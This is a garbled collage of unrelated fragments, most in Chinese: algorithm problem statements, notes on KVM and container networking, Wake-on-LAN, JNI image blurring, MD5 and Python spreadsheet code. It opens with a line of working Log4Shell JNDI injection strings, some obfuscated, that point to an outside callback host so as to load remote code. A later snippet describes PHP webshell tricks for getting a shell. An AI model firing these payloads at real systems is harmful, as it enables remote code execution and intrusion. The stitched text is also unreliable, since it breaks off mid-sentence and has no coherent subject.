${jndi:ldap://127.0.0.1:1389/ badClassName} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.
给定 n-1 长度的 01 关系数组，0 和 1 代表原数组中当前位和前一位的大小关系。问有多少种符合条件的原数组方案。
由定义可以看出，FIRST（α）是指符号串α能够推导出的所有符号串中处于串首的终结符号组成的集合。所以FIRST集也称为首符号集。
继下面三篇文章完成了kvm虚拟化管理平台webvirtmgr环境的部署安装： 一般情况下，虚拟机（下面称vm）跟宿主机通过网桥方式进行通信，只要宿主机能联网，那么vm也就能顺利联网。 然而，我的测试环境下的网络环境比较特殊： 没有内网交换机设置，也就是说内网没有网关，宿主机默认的网关是外网地址的。 如下，宿主机开启了两个网卡：em1（外网），em2（内网，加入到网桥br0中） [root@openstack ~]# ip addr #查看宿主机的网卡配置情况 1: lo: <LOOP
jni-2.png 背景 最近几天刚好无事由于在新公司，业务上安排不是很满。android studio 2.2以后，jni比较方便开发了。本文是使用jni进行初级的demo需求。一个图片的高斯模糊效果。算法参见（https://github.com/GankLi/Demo/tree/demo/app/src/main/java/com/gank/demo/gaussblurtest）。 上图是未模糊前原图，恩，我会把它模糊滴。 前提 请下下好ndk和cmake工具。需要环境android studio 2
01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 15)
近日,小白要用到远程开机的功能,网上大多介绍的是Magic Packet的工具。实际上,此Magic Packet是AMD公司开发的,请在google.cn中搜索Magic Packet Technology。原理上我们不用深入,实现上是发一个BroadCast包,包的内容包括以下数据就可以了。FF FF FF FF FF FF,6个FF是数据的开始,紧跟着16次MAC地址就可以了。比如MAC地址是11 22 33 44 55 66,那么数据就是FF FF FF FF FF FF 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66……..(11 22 33 44 55 66重复16次）。这个数据在包的任何位置都可以,或者包仅为这个数据。然后网播出去就可以了。简单的实现如下：
#1094 : Lost in the City 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 Little Hi gets lost in the city. He does not know where he is. He does not know which direction is north. Fortunately, Little Hi has a map of the city. The map can be considered as a grid of N
package arrow.typeclasses import arrow.Kind import arrow.core.Either import arrow.core.Eval import arrow.core.Tuple2 import arrow.core.identity import kotlin.coroutines.startCoroutine interface Monad<F> : Applicative<F> { fun <A, B> Kind<F, A>.flatMap
无字母数字 Webshell 是个老生常谈的东西了，之前打 CTF 的时候也经常会遇到，每次都让我头大。由于一直没有去系统的研究过这个东西，今天就好好学习学习。
数组类学习一维数组的创建和初始化数组的创建// 格式type_tarr_name [const_n];//数组元素类型 名称 [常量表达式]，用来指定数组大小数组的初始化//例#include<stdio.h>#include<strlen.h>int main(){ int arr[10]={1,2,3};//不完全初始化，剩下元素默认为初始值 char arr2[5]={'a','b'}; char arr3[5]="ab";//表达效果与arr2相同，不同的是在ab后面有一个
根据图数据库处理的对象特性，就很容易知道它的应用场景，最常见的就是人物关系的数据管理
In a modernized warehouse, robots are used to fetch the goods. Careful planning is needed to ensure that the robots reach their destinations without crashing into each other. Of course, all warehouses are rectangular, and all robots occupy a circular floor space with a diameter of 1 meter. Assume there are N robots, numbered from 1 through N. You will get to know the position and orientation of each robot, and all the instructions, which are carefully (and mindlessly) followed by the robots. Instructions are processed in the order they come. No two robots move simultaneously; a robot always completes its move before the next one starts moving. A robot crashes with a wall if it attempts to move outside the area of the warehouse, and two robots crash with each other if they ever try to occupy the same spot.
def csv_to_xlsx(input,output): with open(input, encoding='ANSI') as f: read = csv.reader(f) workbook = Workbook() sheet = workbook.active l = 1 ds=datesecon() com = re.compile("(\n|\t){1,}") border = Border(left=Side(style='thin', color='FF000000'), right=Side(style='thin', color='FF000000'), top=Side(style='thin', color='FF000000'), bottom=Side(style='thin', color='FF000000'), diagonal=Side(style='thin', color='FF000000'), diagonal_direction=0, outline=Side(style='thin', color='FF000000'), vertical=Side(style='thin', color='FF000000'), horizontal=Side(style='thin', color='FF000000')) for line in read: st = "@@@".join(line) ss = re.sub(com, "\n", st) line = ss.split("@@@") r = 1 if l>1 and (string_toDatetime(line[4]) < ds[0] or string_toDatetime(line[4]) > ds[1]): r = r + 1 continue for i in line: sheet.cell(row=l, column=r).border = border sheet.cell(row=l, column=r).value = i sheet.cell(row=l, column=r).alignment = Alignment(wrapText=True) if(l==1): fill = PatternFill("solid", fgColor="FFFF00") sheet.cell(row=l, column=r).fill = fill r = r + 1 l = l + 1 col_width = [] i = 0 for col in sheet.columns: for j in range(len(col)): if j == 0: col_width.append(len(str(col[j].value))) else: if col_width[i] < len(str(col[j].value)): col_width[i] = len(str(col[j].value)) i = i + 1 for i in range(len(col_width)): col_letter = get_column_letter(i+1) if col_width[i] > 100: sheet.column_dimensions[col_letter].width = 100 elif col_width[i]: if col_width[i]<=6:col_width[i]=10 sheet.column_dimensions[col_letter].width = col_width[i] workbook.save(output) # 保存Excel
f和m两种字母组成字符串，fmf 和 fff 这种为不安全的字符串，现在有2*L个字母，问你有多少安全的字符串。答案mod M。
Problem Description Hogwarts正式开学以后,Harry发现在Hogwarts里,某些楼梯并不是静止不动的，相反,他们每隔一分钟就变动一次方向. 比如下面的例子里,一开始楼梯在竖直方向,一分钟以后它移动到了水平方向,再过一分钟它又回到了竖直方向.Harry发现对他来说很难找到能使得他最快到达目的地的路线,这时Ron(Harry最好的朋友)告诉Harry正好有一个魔法道具可以帮助他寻找这样的路线,而那个魔法道具上的咒语,正是由你纂写的.
在 PHP 5 中 assert() 是一个函数，我们可以通过f='assert';f(...);这样的方法来动态执行任意代码，此时它可以起到替代 eval() 的作用。但是在 PHP 7 中，assert() 不再是函数了，而是变成了一个和 eval() 一样的语言结构，此时便和 eval() 一样不能再作为函数名动态执行代码，所以利用起来稍微复杂一点。但也无需过于担心，比如我们利用 file_put_contents() 函数，同样可以用来 Getshell 。
题目描述 终于，破解了千年的难题。小FF找到了王室的宝物室，里面堆满了无数价值连城的宝物……这下小FF可发财了，嘎嘎。但是这里的宝物实在是太多了，小FF的采集车似乎装不下那么多宝物。看来小FF只能含泪舍弃其中的一部分宝物了……小FF对洞穴里的宝物进行了整理，他发现每样宝物都有一件或者多件。他粗略估算了下每样宝物的价值，之后开始了宝物筛选工作：小FF有一个最大载重为W的采集车，洞穴里总共有n种宝物，每种宝物的价值为v[i]，重量为w[i]，每种宝物有m[i]件。小FF希望在采集车不超载的前提下，选择一些宝物装
纯JavaScript模仿微信打飞机游戏，做网页小游戏的借鉴下，界面设计是竖长形仿手机屏幕风格，游戏效果流畅。具有分数统计，里面的JS封装类中包括有创建飞机类、飞机移动行为控制，创建子弹类，产生min到max之间的随机数，判断本方飞机是否移出边界,如果移出边界,则取消mousemove事件,反之加上mousemove事件，为暂停界面的继续按钮添加暂停事件，创建敌方飞机类、碰撞判断、完成界面的初始化，敌方小飞机一个，我方飞机一个。 //获得主界面 var mainDiv=document.getElem
网络唤醒（Wake-on-LAN，WOL）是一种计算机局域网唤醒技术，使局域网内处于关机或休眠状态的计算机，将状态转换成引导（Boot Loader）或运行状态。无线唤醒（Wake-on-Wireless-LAN，WoWLAN）作为 WOL 的补充技术，使用无线网卡去唤醒计算机。网络唤醒在一般的局域网环境里使用有限广播地址（255.255.255.255）即可，由于路由器都不转发目的地址为有限广播地址的数据报，因此在复杂网络情况下通常使用子网定向广播地址。在局域网外唤醒局域网内特定计算机，可以使用路由器的 DDNS 与端口转发。
Q1Q2_yanai.ncl: Using high-frequency [eg: 3/6/12 hourly or daily] data, calculate apparent-heat-source (Q1) and apparent-moisture-sink (Q2) quantities as described in:
1、图像灰度化： public Bitmap bitmap2Gray(Bitmap bmSrc) { // 得到图片的长和宽 int width = bmSrc.getWidth(); int height = bmSrc.getHeight(); // 创建目标灰度图像 Bitmap bmpGray = null; bmpGray = Bitmap.createBitmap(width, height, Bitmap.Config.RGB_565); // 创建
微笑不代表快乐、哭泣不一定悲伤
定义函数 f 在 x>1f_c(x)=\max_{i=1…x-1}c*f_c(gcd(i,x))，在 x=1 时 f_c(x)=1，给定 c 和 x，求 f
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题意：C代表cows，F代表farmer，一开始都向北，每分钟前进1步，如果前方不能走，则这分钟顺时针转90°，问多少步能相遇，或者是否不可能相遇，10*10的地图。
用到字典的items存入数组，再取出一个一个的key对应的item,存入工作表的一行一行。
第 i 种犯罪会产生 profit[i] 的利润，它要求 group[i] 名成员共同参与。
内存遍历: 每次读入4096字节，然后每16个字符换一次行，遍历内存 0x00401000 - 0x7FFFFFFF。
上班阶段的忙里偷闲（甚至还没做完） 因为只是div4和div3 我又拖了很久没有写（）所以不怎么写题意 就贴个代码 1703A: YES or YES? 题目链接 #include<bits/stdc
使用容器总是感觉像使用魔法一样。对于那些理解底层原理的人来说容器很好用，但是对于不理解的人来说就是个噩梦。很幸运的是，我们已经研究容器技术很久了，甚至成功揭秘容器只是隔离并受限的 Linux 进程，运行容器并不需要镜像，以及另一个方面，构建镜像需要运行一些容器。
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在翻译加密代码时遇到这个murmurhash2算法了，网上找了几个现成的加密结果对不上，自己手动对照原加密翻译了一般python3版本的。
给你一个 m * n 的矩阵 mat 和一个整数 K ，请你返回一个矩阵 answer ，其中每个 answer[i][j] 是所有满足下述条件的元素 mat[r][c] 的和：
vxlan(virtual Extensible LAN)虚拟可扩展局域网，是一种overlay的网络技术，使用MAC in UDP的方法进
一直以来，网络都是容器中令人头疼的问题。本文的主要目的是带你解决容器网络问题，让你不再对它恐惧。
#include <stdio.h> /* 2018-05-28 如何通过被调函数修改主调函数普通变量的值 1，实参必须为该普通变量的地址 2,形参必须为指针变量 3，在背调函数中通过 *形参名 = 。。。。。 的方式就可以修改主调函数相关变量的值 */ f(int *i,int *j) { *i = 4; *j = 5; return 0; } int main(void) { int a = 3,b = 5; f(&a,&b); //发送a和b的地址到函数f，
使用容器总感觉像变模式一样。对那些了解其内部原理的人来说，他是一种很好的方式；而对于那些不了解其内部原理的人来说，这是一种可怕的方式。
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它表示输入任意长度的数据，输出固定长度的数据，它的主要特征是加密过程不需要密钥，并且经过加密的数据无法被解密。
/** * MD5 算法的Java Bean * MD5 类实现了RSA Data Security, Inc.在提交给IETF 的RFC1321中的MD5 message-digest 算法。 */ public class MD5 { //下面这些S11-S44实际上是一个4*4的矩阵，在原始的C实现中是用#define 实现的，这里把它们实现成为static final是表示了只读，切能在同一个进程空间内的多个Instance间共享 static final int S11 = 7; static final int S12 = 12; static final int S13 = 17; static final int S14 = 22;
操作系统安全布置的作业，搞了一周多，虽然做完了。 但还是对PAM不是很了解…
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Docker 是虚拟机吗？Docker 底层用了哪些关键技术？容器逃逸逃的是什么？
静态路由使用的原因多种多样，当没有到目的IP地址的动态路由时经常使用静态路由，或者用于覆盖动态获知的路由。
上次的文章如何实现一个下班倒计时程序的阅读量很高，觉得也很实用酷炫，下边是昨天的体验结果：
给定由非负整数组成的n \times n的正方形矩阵，你需要寻找一条路径：以左上角为起点,每次只能向右或向下走,以右下角为终点 并且，如果我们把沿路遇到的数进行相乘，积应当是最小“round”，换句话说，应当以最小数目的0的结尾.
高斯模糊 高斯模糊就是将指定像素变换为其与周边像素加权平均后的值，权重就是高斯分布函数计算出来的值。 一种实现 点击打开链接<-这里是一片关于高斯模糊算法的介绍，我们需要首先根据高斯分布函数计算权重值，为了提高效率我们采用一维高斯分布函数，然后处理图像的时候在横向和纵向进行两次计算得到结果。下面是一种实现 public static void gaussBlur(int[] data, int width, int height, int radius, float sigma) {
今天不自闭了 rk31 队里的罚时提供者 非ac的全是我交的( 开场写G 当时范围还是1e16 打了个表 等表的时候去看A( 一看 啊 啥玩意啊 咋写啊 我学不来啊 再一看 k<=3啊 那没事了 然后
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